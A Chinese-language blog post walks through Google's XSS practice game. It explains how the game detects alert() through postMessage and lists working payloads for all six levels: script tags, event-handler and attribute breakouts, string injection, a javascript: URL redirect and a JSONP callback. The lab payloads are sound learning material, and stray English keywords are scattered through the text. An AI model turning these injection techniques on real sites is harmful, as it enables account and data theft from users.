Google最近出了一XSS遊戲:
javascript
https://xss-game.appspot.com/
html
我這個菜鳥看提示,花了兩三個小時才全過了。。java
這個遊戲的規則是僅僅要在攻擊網頁上彈出alert窗體就可以了。api
題目頁面是在iframe裏嵌套的展示的。那麼父窗體是怎樣知道iframe裏成功彈出了窗體?app
是這樣子實現的:xss
題目頁面載入了這個js,改寫了alert函數,當alert被調用時,向parent發送一個消息。ide
https://xss-game.appspot.com/static/game-frame.js
函數
/* If we're being iframed, let the parent know our URL */ /* Kids: don't do this at home! */ parent.postMessage(window.location.toString(), "*"); /* Override window.alert */ var originalAlert = window.alert; window.alert = function(s) { parent.postMessage("success", "*"); setTimeout(function() { originalAlert("Congratulations, you executed an alert:\n\n" + s + "\n\nYou can now advance to the next level."); }, 50); }而後父窗體註冊了一個EventListener來接收這個消息:
https://xss-game.appspot.com/static/game.js
post
window.addEventListener("message", function(event) { if (!window.location.origin) { window.location.origin = window.location.protocol + "//" + window.location.hostname + (window.location.port ?':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }this
最如下是題目的答案。假設想本身玩遊戲的,慎拉下。
題目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重點是前面要有一個空格。
https://www.google.com/jsapi?
callback=alert
遊戲過關以後,google給出了一個xss的文檔:
https://www.google.com/about/appsecurity/learning/xss/index.html